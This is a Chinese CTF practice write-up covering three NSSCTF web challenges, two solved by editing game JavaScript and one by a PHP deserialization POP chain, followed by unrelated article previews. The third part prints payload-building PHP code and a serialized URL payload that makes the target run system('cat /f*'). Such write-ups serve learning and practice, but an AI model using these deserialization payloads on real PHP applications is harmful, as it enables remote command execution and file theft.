nss刷题(2)

1、[NSSCTF 2022 Spring Recruit]ezgame

打开题目是一个游戏界面

发现是有分数的,猜测分数达到某个之后可以获得flag,查看源码看一下

看到末尾显示分数超过65后显示flag

在js中找到了一个score,将他的值改为大于65的数后随意玩一次就可以得到flag同时,也可以直接搜索nss找到flag

2、[HNCTF 2022 Week1]2048

也是一个类似游戏的题,提示超过2000分可以输出flag,想到应该可以修改js获取

找到了输出条件和输出flag的代码,考虑是否可以直接输出

直接在控制台输出,得到flag

3、[SWPUCTF 2022 新生赛]ez_1zpop

打开后是一段代码,应该是php序列化与反序列化

    类内部:是指类定义的内部,即类名后大括号{ }内部。
    类外部:是指类定义的外部内容,即类名后大括号{}之外的所有地方。
    类成员的访问权限控制分为:内部访问(私有的private)。内部访问(受保护protected)和全部访问(公有public)。

1、public 公开的

公开的属性或函数,可在类内部、外部访问
public $name='BMW'
public function XXX{}
2、protected 受保护的

受保护的属性或函数,只能在类及其子类、父类间内部访问。若想在外部访问,需要设置引用方法。
protected $color='blue'
3、 private 私有的

私有的属性或函数,只能在当前类的内部访问,若想在外部访问,需要设置引用方法。

__construct(),类的构造函数

php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。

1、 构造方法的作用

通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。

2、 构造方法的在类中的声明格式

 

function __constrct([参数列表]){

  方法体 //通常用来对成员属性进行初始化赋值

}

审计代码,首先要让impo不能等于dxg,最后输出应该是在类lt的__destruct()方法中的echo。所以我们要让impo=new fin()才可以。那么就需要绕过__wakeup()中的return,然后让impo再次赋值。并且让fin中的$b->$a($title)与system('ls /')效果一样,那么就是$a为system,$title为ls /就可以了

构造payload:

<?php
error_reporting(0);

class lt
{
    public $impo ;
    public $md51 = 's878926199a';
    public $md52 = 's155964671a';

}

class fin
{
    public $a='system';
    public $url = 'https://www.ctfer.vip';
    public $title='ls /';

}
$a=new lt();
$a->impo=new fin();
echo serialize($a);

构造最终payload:

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":2:{s:1:"a";s:6:"system";s:5:"title";s:7:"cat /f*";}s:4:"md51";a:1:{i:0;i:1;}s:4:"md52";a:1:{i:0;i:2;}}

得到最后的flag

相关知识拓展:

pop链简介:

它是一种面向属性编程,常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令,并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码,就是pop链(个人理解,欢迎师傅们提出意见)在构造pop链中,魔术方法必不可少。下面将通过一个例题来说pop链是怎么构造的,以及具体构造的思路。

pop链构造:

一般的反序列化题目,存在漏洞或者能注入恶意代码的地方在魔术方法中,我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中,通过前面自动调用的方法就失效了,所以我们需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。

构造方式:

POP链:unserialize函数(变量可控)–>wakeup()魔术⽅法–>tostring()魔术⽅法–>get魔术⽅法–>invoke魔术⽅法–>触发Read类中的file_get⽅法–>触发file_get_contents函数读取flag.php

原文参考:CTF-PHP反序列化漏洞3-构造POP链-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/616931.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

WHAT - CSS Animationtion 动画系列(二)

目录 一、循环波浪二、关键帧呼应三、关键帧顺接四、利用 transform-origin 做拉伸五、大元素可拆分多个小元素联动六、预留视觉缓冲七、随机感&#xff1a;动画周期设置八、抛物线&#xff1a;两个内外div实现x和y向量运动 今天我们主要学习动画实现要素。 一、循环波浪 利用…

Nginx(简洁版)

基本配置 worker_processes 1; //默认为1&#xff0c;表示开启一个业务进程 events //事件驱动模块&#xff08;&#xff09;{worker_connections 1024; //单个业务进程可接受连接数 } http{include mime.types; // 引入http mime类型&#xff08;在外部已经定义好&#xff0c…

《视觉十四讲》例程运行记录(6)——运行ch9后端优化CeresBA和g2o求解BA的实践例程

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一、运行ch9的例程代码1. MeshLab安装2. 编译例程代码前的修改3. 编译例程 一、运行ch9的例程代码 1. MeshLab安装 (1) 软件中心安装 搜索&#xff1a;MeshLab&am…

HCIP的学习(14)

过滤策略—filter-policy ​ 思科中&#xff1a;分发列表 ​ 过滤策略是只能够针对于路由信息进行筛选&#xff08;过滤&#xff09;的工具&#xff0c;而无法针对于LSA进行过滤。 在R4的出方向上配置过滤策略&#xff0c;使得R1不能学习到23.0.0.0/24路由信息1、抓取流量 […

CSS学习笔记之基础教程(二)

上节内容CSS学习笔记之基础教程&#xff08;一&#xff09; 6、边距 6.1 外边距&#xff1a;margin 6.1.1 外边距 marginmargin-topmargin-leftmargin-bottommargin-right <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8…

单链表经典算法LeetCode--203.移除链表元素(两种方法解)

1.链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09;【点击即可跳转】 分析此题提供两种思路&#xff1a; 1.遍历原链表&#xff0c;将值为val的节点释放掉&#xff08;双指针法&#xff09; 定义一个pcur指针指向头节点&#xff0c;定义一个prev指针指向NULL 需要注…

内存操作数及寻址方式

debug命令 debug命令&#xff0c;即DOS实用程序。DEBUG是一个DOS实用程序&#xff0c;是供程序员使用的程序调试工具&#xff0c;可以用它检查内存中任何地方的字节以及修改任何地方的字节。它可以用于逐指令执行某个程序以验证程序运行的正确性&#xff0c;也可以追踪执行过程…

数据分享—全国分省河流水系

河流水系数据是日常研究中必备的数据之一&#xff0c;本期推文主要分享全国分省份的水系和河流数据&#xff0c;梧桐君会不定期的更新数据&#xff0c;欢迎长期订阅。 数据预览 山东省河流水系 吉林省河流水系 四川省河流水系 数据获取方式 链接&#xff1a;https://pan.baidu.…

值得用来替代Vector的Java集合:ArrayBlockingQueue详解

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。运营社区&#xff1a;C站/掘金/腾讯云&#xff1b;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一…

C++ vs Rust vs Go 性能比较

本文对C、Rust和Go三种编程语言编写的gunzip程序进行了性能比较&#xff0c;通过基准测试试图尽可能公平的比较它们的性能。原文: Performance — C vs Rust vs Go 本文将通过一些基准测试&#xff0c;比较 C 和 Rust 以及 Go 编写的相同程序的性能。我们将尽最大努力将语言差异…

十三、Redis哨兵模式--Sentinel

上一篇介绍了Redis中的主从复制。我们知道Redis主从中一般只有主节点对外提供写操作&#xff0c;如果主节点发生故障&#xff0c;为了保证Redis的可用性&#xff0c;这时就要在可用的slave节点中&#xff0c;挑选一个作为主节点。这种切换操作如果是人为的操作&#xff0c;那么…

5分钟了解下HDFS

随着大数据时代的到来&#xff0c;传统的数据存储和管理方式已经无法满足日益增长的数据处理需求。HDFS&#xff08;Hadoop Distributed File System&#xff09;作为Apache Hadoop项目的一部分&#xff0c;以其高度的容错性、可扩展性和高吞吐量&#xff0c;成为了处理大规模数…

音视频开发6 音视频录制原理和播放原理

音视频录制原理 音视频播放原理

图片转word如何转换?

要将图片转换为Word文档&#xff0c;你可以使用以下方法之一&#xff1a; 以上这些方法都可以帮助你将图片中的文本转换为可编辑的Word文档&#xff0c;你可以根据自己的喜好和需求选择其中一种方法来操作。 使用OCR软件或在线工具&#xff1a;有许多OCR&#xff08;Optical Ch…

动态多目标优化算法:基于自适应启动策略的混合交叉动态约束多目标优化算法(MC-DCMOEA)求解DCP1-DCP9(提供MATLAB代码)

一、动态多目标优化问题 1.1问题定义 1.2 动态支配关系定义 二、 基于自适应启动策略的混合交叉动态多目标优化算法 基于自适应启动策略的混合交叉动态多目标优化算法&#xff08;Mixture Crossover Dynamic Constrained Multi-objective Evolutionary Algorithm Based on Se…

保研机试之【二叉树后序】--1道题

参考&#xff1a;东哥带你刷二叉树&#xff08;后序篇&#xff09; | labuladong 的算法笔记 建议先过一遍&#xff1a;今天是二叉树~-CSDN博客&#xff0c;very重要&#xff01; 然后再过一遍&#xff08;理解怎么应用方法&#xff09;&#xff1a;保研机试之[三道二叉树习题…

pyqt颜色变换动画效果

pyqt颜色变换动画效果 QPropertyAnimation介绍颜色变换效果代码 QPropertyAnimation介绍 QPropertyAnimation 是 PyQt中的一个类&#xff0c;它用于对 Qt 对象的属性进行动画处理。通过使用 QPropertyAnimation&#xff0c;你可以平滑地改变一个对象的属性值&#xff0c;例如窗…

day04-常用API

day04 常用API 1.API 概述 API (Application Programming Interface) &#xff1a;应用程序编程接口 编写一个机器人程序去控制机器人踢足球&#xff0c;程序需要向机器人发出向前跑、向后跑、射门、抢球等各种命令。 机器人厂商就会提供一些用于控制机器人的类&#xff0c…

ControlNet++:让AI图像生成更精准、更可控

在人工智能的世界里&#xff0c;文本到图像的生成技术正变得越来越先进。但如何确保生成的图像精确地反映我们的想象呢&#xff1f;最近&#xff0c;一项名为ControlNet的新技术为我们提供了答案。 ControlNet是一种新颖的方法&#xff0c;它通过优化生成图像与给定条件之间的…

C++初学者,使用汉语编程

现在的IDE是完全支持中文编程的&#xff0c;对于C语系的爱好者来说&#xff0c;又可以发挥自己的想象力了。 今天使用一些宏定义写了一个小程序&#xff0c;用于玩弄C。 我喜欢C语言&#xff0c;是因为C语言简单&#xff0c;语法简洁。我也喜欢汉语&#xff0c;因为汉语语法简…